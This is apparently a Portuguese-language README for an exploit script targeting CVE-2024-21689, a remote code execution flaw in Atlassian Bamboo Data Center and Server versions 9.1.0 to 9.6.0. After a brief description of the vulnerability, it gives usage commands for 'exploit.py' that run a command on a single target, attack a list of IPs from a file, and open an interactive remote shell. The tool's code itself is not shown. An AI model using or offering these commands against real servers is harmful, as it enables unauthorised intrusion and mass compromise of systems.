CVE-2024–21689 RCE no Bamboo Data Center e Server da Atlassian

Pontuação CVSS - 7.6 🔥

Descrição

Esta vulnerabilidade RCE (Execução Remota de Código) de alta gravidade, CVE-2024-21689, foi introduzida nas versões 9.1.0, 9.2.0, 9.3.0, 9.4.0, 9.5.0 e 9.6.0 do Bamboo Data Center e Server. Esta vulnerabilidade RCE (Execução Remota de Código), com pontuação CVSS de 7.6, permite que um atacante autenticado execute código arbitrário, causando alto impacto na confidencialidade, alta integridade, alta disponibilidade, e requer interação do usuário.

Executando o Script

• Modo de URL Única:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 -c "whoami"
  

• Modo de Arquivo (para múltiplos IPs):
  root@kitploit:~

  python3 exploit.py -f ips.txt -c "whoami"
  

• Modo de Shell Interativo:
  root@kitploit:~

  python3 exploit.py -u http://<target-ip>:8090 --shell